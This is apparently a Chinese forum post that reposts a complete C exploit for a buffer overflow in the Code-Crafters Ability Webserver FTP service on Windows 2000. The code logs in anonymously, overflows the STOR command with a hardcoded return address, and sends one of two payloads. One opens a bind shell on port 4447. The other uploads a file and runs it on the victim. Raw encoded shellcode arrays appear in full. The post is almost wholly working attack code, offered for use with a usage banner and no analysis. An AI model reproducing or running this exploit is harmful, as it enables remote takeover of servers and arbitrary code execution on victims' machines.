发新话题
打印

Code-Crafters Ability Webserver FTPd Exploit

Code-Crafters Ability Webserver FTPd Exploit

文章作者:oxff[!!at!!]pixel-house.net
复制内容到剪贴板
代码:
/*
*
*   'Code-Crafters Ability Webserver' FTPd Exploit
*   Written by OxFF <oxff[!!at!!]pixel-house.net> from IngleWood
*
*   Dedicated to all those IngleWood people, you know you rock!
*   
*   Do me a favour and stop trolling on Full-Disclosure Mailing list.
*
*/

#include <winsock.h>
#include <stdio.h>

#include "shellcode.h"

#define COMPILE_STANDALONE

// inside mfc dll on win2k sp4
// if you find universal address, _CONTACT ME_
#define EIP 0x6C2E9623

inline int GetFtpCode(SOCKET sckConn, char * szBuffer, unsigned int nBuffSize)
{
  int iRead = recv(sckConn, szBuffer, nBuffSize, 0);
  int iCode;

  if(iRead <= 0)
   return 0;

  iCode = atoi(szBuffer);

  while(true)
  { // empty queue
   TIMEVAL tvTimeOut = { 0, 500 };
   fd_set fdSet;

   FD_ZERO(&fdSet);
   FD_SET(sckConn, &fdSet);

   select(1, &fdSet, 0, 0, &tvTimeOut);

   if(!FD_ISSET(sckConn, &fdSet))
    break;

   iRead = recv(sckConn, szBuffer, nBuffSize, 0);

   if(iRead <= 0)
    break;

   szBuffer[iRead] = 0;
  }

  return iCode;
}

inline bool SendFtpCommand(SOCKET sckConn, const char * szBuffer)
{
  return (send(sckConn, szBuffer, strlen(szBuffer), 0) == strlen(szBuffer));
}

bool Exploit(unsigned long ulTargetHost, int iType)
{  
  SOCKET sckSocket;
  char szBuffer[2048];

  { // connect
   SOCKADDR_IN addrTarget;

   addrTarget.sin_family = AF_INET;
   addrTarget.sin_addr.s_addr = ulTargetHost;
   addrTarget.sin_port = htons(21);

   if((sckSocket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
    return false;

   if(connect(sckSocket, (SOCKADDR * ) &addrTarget, sizeof(addrTarget)) == SOCKET_ERROR)
    return false;
  }

  { // login
   if(GetFtpCode(sckSocket, szBuffer, sizeof(szBuffer)) != 220)
    return false;

   strncpy(szBuffer, "USER anonymous\r\n", sizeof(szBuffer) - 1);
   szBuffer[sizeof(szBuffer) - 1] = 0;

   if(!SendFtpCommand(sckSocket, szBuffer))
    return false;

   if(GetFtpCode(sckSocket, szBuffer, sizeof(szBuffer)) != 331)
    return false;

   strncpy(szBuffer, "PASS anonymous@\r\n", sizeof(szBuffer) - 1);
   szBuffer[sizeof(szBuffer) - 1] = 0;

   if(!SendFtpCommand(sckSocket, szBuffer))
    return false;

   if(GetFtpCode(sckSocket, szBuffer, sizeof(szBuffer)) != 230)
    return false;

   strncpy(szBuffer, "PASV\r\n", sizeof(szBuffer) - 1);
   szBuffer[sizeof(szBuffer) - 1] = 0;

   if(!SendFtpCommand(sckSocket, szBuffer))
    return false;

   if(GetFtpCode(sckSocket, szBuffer, sizeof(szBuffer)) != 227)
    return false;
  }

  { // build trigger, append shellcode and send to victim
   unsigned int nLength;

   memcpy(szBuffer, "STOR ", 5);   
   memset(&szBuffer[5], &#39;A&#39;, 964);
   nLength = 5 + 964;

   * ((unsigned long *) &szBuffer[nLength]) = EIP;
   nLength += 4;

   memset(&szBuffer[nLength], &#39;A&#39;, 32);
   nLength += 32;

   if(iType == 0)
   {
    memcpy(&szBuffer[nLength], bindcode, sizeof(bindcode) - 1);
    nLength += sizeof(bindcode) - 1;
   }
   else
   {
    memcpy(&szBuffer[nLength], uploadcode, sizeof(uploadcode) - 1);
    nLength += sizeof(uploadcode) - 1;
   }

   szBuffer[nLength++] = &#39;\r&#39;;
   szBuffer[nLength++] = &#39;\n&#39;;

   if(send(sckSocket, szBuffer, nLength, 0) != nLength)
    return false;
  }

  closesocket(sckSocket);

  return true;
}


#ifdef COMPILE_STANDALONE

bool StreamFile(unsigned long ulTargetHost, const char * szFile)
{
  SOCKADDR_IN addrRemote;
  SOCKET sckSocket;
  FILE * pFile;
  char szBuffer[1024];

  addrRemote.sin_family = AF_INET;
  addrRemote.sin_addr.s_addr = ulTargetHost;
  addrRemote.sin_port = htons(7777); // defined in shellcode

  if(!(pFile = fopen(szFile, "rb")))
   return false;

  if((sckSocket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
  {
   fclose(pFile);

   return false;
  }

  if(connect(sckSocket, (SOCKADDR *) &addrRemote, sizeof(addrRemote)) == SOCKET_ERROR)
  {
   fclose(pFile);

   return false;
  }

  while(!feof(pFile))
   if(send(sckSocket, szBuffer, fread(szBuffer, 1, sizeof(szBuffer), pFile), 0) <= 0)
   {
    fclose(pFile);

    return false;
   }
   
  closesocket(sckSocket);
  fclose(pFile);

  return true;
}

int main(int iArgC, char * szArgV[])
{
  unsigned long ulTarget;
  int iType;

  printf("Code-Crafters Ability FTPd Remote Exploit 2.34 / Win2K SPx\t\tby OxFF\tof IngleWood\n  ~ either creates bindshell on port 4447\n  ~ or transmits given file to host and executes it there\n\n");

  if(iArgC < 2 || iArgC > 3)
  {   
   printf("Usage: %s <target-host> [transmit-and-execute-file]\n", szArgV[0]);   

   return 0;
  }

  if(iArgC == 3)
   iType = 1;
  else
   iType = 0;

  {
   WSADATA wdData;

   WSAStartup(MAKEWORD(2, 2), &wdData);
  }

  if(iType == 1)
  { // ensure file exists
   FILE * pFile;

   if(!(pFile = fopen(szArgV[2], "rb")))
   {
    printf("[-] could not open %s for reading\n", szArgV[2]);

    return 1;
   }

   fclose(pFile);
  }

  {
   HOSTENT * pHost;

   if(!(pHost = gethostbyname(szArgV[1])))
   {
    printf("[-] could not resolve %s\n", szArgV[1]);

    return 1;
   }

   ulTarget = * ((unsigned long *) * pHost->h_addr_list);
  }

  printf("[+] starting %s exploit against %s:21\n", (iType == 0 ? "bindshell" : "upload &#39;n&#39; execute"), szArgV[1]);

  if(!Exploit(ulTarget, iType))
   printf("[-] exploit failed\n");
  else
   printf("[+] exploit successful\n");
  
  if(iType == 1)
  {
   Sleep(1000);

   if(StreamFile(ulTarget, szArgV[2]))
    printf("[+] streamed file %s to target host\n", szArgV[2]);
   else
    printf("[-] streaming %s failed\n", szArgV[2]);
  }

  return 0;
}

#endif // COMPILE_STANDALONE
补充:
复制内容到剪贴板
代码:
/*
*
*   Universal Win32 Shellcodes
*   Collected and modified by OxFF <oxff[!!at!!]pixel-house.net> from IngleWood
*
*   Dedicated to all those IngleWood people, you know you rock!
*   
*   Do me a favour and stop trolling on Full-Disclosure Mailing list.
*
*/

/* win32_bind - Encoded Shellcode [\x00] [ EXITFUNC=thread LPORT=4447 Size=399 ] [url]http://metasploit.com[/url] */
char bindcode[] =
  "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x12\x45"
  "\xc1\xf8\x83\xeb\xfc\xe2\xf4\xee\xad\x97\xf8\x12\x45\x92\xad\x44"
  "\x12\x4a\x94\x36\x5d\x4a\xbd\x2e\xce\x95\xfd\x6a\x44\x2b\x73\x58"
  "\x5d\x4a\xa2\x32\x44\x2a\x1b\x20\x0c\x4a\xcc\x99\x44\x2f\xc9\xed"
  "\xb9\xf0\x38\xbe\x7d\x21\x8c\x15\x84\x0e\xf5\x13\x82\x2a\x0a\x29"
  "\x39\xe5\xec\x67\xa4\x4a\xa2\x36\x44\x2a\x9e\x99\x49\x8a\x73\x48"
  "\x59\xc0\x13\x99\x41\x4a\xf9\xfa\xae\xc3\xc9\xd2\x1a\x9f\xa5\x49"
  "\x87\xc9\xf8\x4c\x2f\xf1\xa1\x76\xce\xd8\x73\x49\x49\x4a\xa3\x0e"
  "\xce\xda\x73\x49\x4d\x92\x90\x9c\x0b\xcf\x14\xed\x93\x48\x3f\x93"
  "\xa9\xc1\xf9\x12\x45\x96\xae\x41\xcc\x24\x10\x35\x45\xc1\xf8\x82"
  "\x44\xc1\xf8\xa4\x5c\xd9\x1f\xb6\x5c\xb1\x11\xf7\x0c\x47\xb1\xb6"
  "\x5f\xb1\x3f\xb6\xe8\xef\x11\xcb\x4c\x34\x55\xd9\xa8\x3d\xc3\x45"
  "\x16\xf3\xa7\x21\x77\xc1\xa3\x9f\x0e\xe1\xa9\xed\x92\x48\x27\x9b"
  "\x86\x4c\x8d\x06\x2f\xc6\xa1\x43\x16\x3e\xcc\x9d\xba\x94\xfc\x4b"
  "\xcc\xc5\x76\xf0\xb7\xea\xdf\x46\xba\xf6\x07\x47\x75\xf0\x38\x42"
  "\x15\x91\xa8\x52\x15\x81\xa8\xed\x10\xed\x71\xd5\x74\x1a\xab\x41"
  "\x2d\xc3\xf8\x03\x1a\x48\x18\x78\x55\x91\xaf\xed\x10\xe5\xab\x45"
  "\xba\x94\xd0\x41\x11\x96\x07\x47\x65\x48\x3f\x7a\x06\x8c\xbc\x12"
  "\xcc\x22\x7f\xe8\x74\x01\x75\x6e\x61\x6d\x92\x07\x1c\x32\x53\x95"
  "\xbf\x42\x14\x46\x83\x85\xdc\x02\x01\xa7\x3f\x56\x61\xfd\xf9\x13"
  "\xcc\xbd\xdc\x5a\xcc\xbd\xdc\x5e\xcc\xbd\xdc\x42\xc8\x85\xdc\x02"
  "\x11\x91\xa9\x43\x14\x80\xa9\x5b\x14\x90\xab\x43\xba\xb4\xf8\x7a"
  "\x37\x3f\x4b\x04\xba\x94\xfc\xed\x95\x48\x1e\xed\x30\xc1\x90\xbf"
  "\x9c\xc4\x36\xed\x10\xc5\x71\xd1\x2f\x3e\x07\x24\xba\x12\x07\x67"
  "\x45\xa9\x17\xdc\xa5\xa1\x07\x47\x41\xf0\x23\x41\xba\x11\xf8";

// [url]http://www.packetstormsecurity.com/shellcode/upload-exec-shellcode.c[/url]
// modified version, if you want the source, contact me
char uploadcode[] =
  "\xEB\x0F\x58\x31\xC9\x66\xB9\xB0\x01\x80\x30\x80\x40\xE2\xFA\xEB\x05"
  "\xE8\xEC\xFF\xFF\xFF\x68\xC7\x80\x80\x80\x59\x89\x75\x2D\x4B\x6D\x7C"
  "\xBB\x24\x9A\xF0\x47\x24\x2D\xAE\x69\x65\xC9\x06\xC9\x36\x99\x98\x67"
  "\x67\xF9\x46\xF9\xFE\x58\x62\xF3\x18\x7E\x0A\x8E\x25\x97\x80\xFC\x9F"
  "\xF9\x8A\x68\x7B\x17\x7D\x8F\xD7\xD3\xB2\xDF\xB3\xB2\xAE\xC4\xCC\xCC"
  "\x80\xF2\xE7\xF3\xF2\xF6\xB3\xB2\xAE\xE5\xF8\xE5\x80\xDB\xD5\x09\x65"
  "\xE6\x01\x6C\xB4\x80\x09\x66\xE6\x01\x6C\x8C\x80\x68\x5B\x80\x80\x80"
  "\x09\x47\xD7\xE8\x0E\xCE\x8E\x6C\x68\x67\x80\x80\x80\x09\xC5\x88\x0D"
  "\xD3\xB0\xD2\x7F\xD5\x88\x09\xC5\x88\x0D\xD3\xBB\x09\xD6\xB4\xEA\x8D"
  "\xD9\xE6\x01\x79\x87\x80\xF5\x83\x0B\xFD\x88\x09\x8E\xD7\x7F\xF4\x0B"
  "\x7C\x68\x3B\x80\x80\x80\x0B\x8E\x09\xC4\x0E\x7C\x62\x62\xE6\x01\x6C"
  "\x10\x81\xD4\xE8\x81\x81\x80\x80\x7F\xD6\x84\xB1\x7F\xD7\xD7\xD7\xD7"
  "\xC7\xD7\xC7\xD7\x7F\x96\x09\x43\xB1\x7F\xD7\xD7\xE8\x82\x80\x9E\xE1"
  "\x09\x62\xEA\x90\xD2\xD3\x7F\xD6\x88\xD7\xD3\x7F\xD6\x8C\xD7\xD6\xD3"
  "\x7F\xD6\x90\x09\x43\xEA\x80\xEA\x86\xEA\x84\xEA\x80\xEA\x87\xE8\x80"
  "\x80\x80\x60\x7F\xF6\xB4\x7F\xD6\xA4\x09\x47\x01\x6C\x1C\x7F\x7F\x7F"
  "\x09\x65\x0D\xD5\xE4\xEA\x80\xE8\xE4\x80\x80\x80\xD2\xD3\x7F\xD6\x94"
  "\xBD\x7F\x7F\x7F\x7F\xF4\x95\xBD\x80\x80\x80\x80\xF4\x8E\x0D\xD5\xE4"
  "\xEA\x80\xD1\xD0\xD2\xD7\x7F\xD6\xA8\x6B\x55\xD7\x7F\xD6\xAC\xE8\x85"
  "\x80\x80\x80\x7F\xF6\xB4\x7F\xD6\xA0\xB1\x7F\xD7\x7F\xD6\x9C\xD5\xD6"
  "\xE4\x21\xB0\x80\x80\x80\x0B\xC0\x8C\x0B\xF0\x9C\x2D\x0B\xE8\x88\x09"
  "\x68\xDE\xDD\x42\x84\x80\xD3\xD5\xD6\xD7\x0B\xEC\xA4\x98\x0B\xC5\xBC"
  "\x0B\xD4\x85\xF8\x81\x6A\x0B\xCA\x98\x0B\xDA\xA0\x81\x6B\x63\xB5\xC9"
  "\x0B\xB4\x0B\x81\x6E\xB1\x7F\x7C\xB1\x40\x2C\xB8\x60\xF4\x87\x41\x4F"
  "\x8D\x81\x47\x6B\x72\xBB\xFC\xA4\x94\xF5\x61\x0B\xDA\xA4\x81\x6B\xE6"
  "\x0B\x8C\xCB\x0B\xDA\x9C\x81\x6B\x0B\x84\x0B\x81\x68\x69\x82\x80\x80"
  "\x80\xB1\x40\x09\x6A\xDF\xDE\xDD\xDB\x42\x84\x80";
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题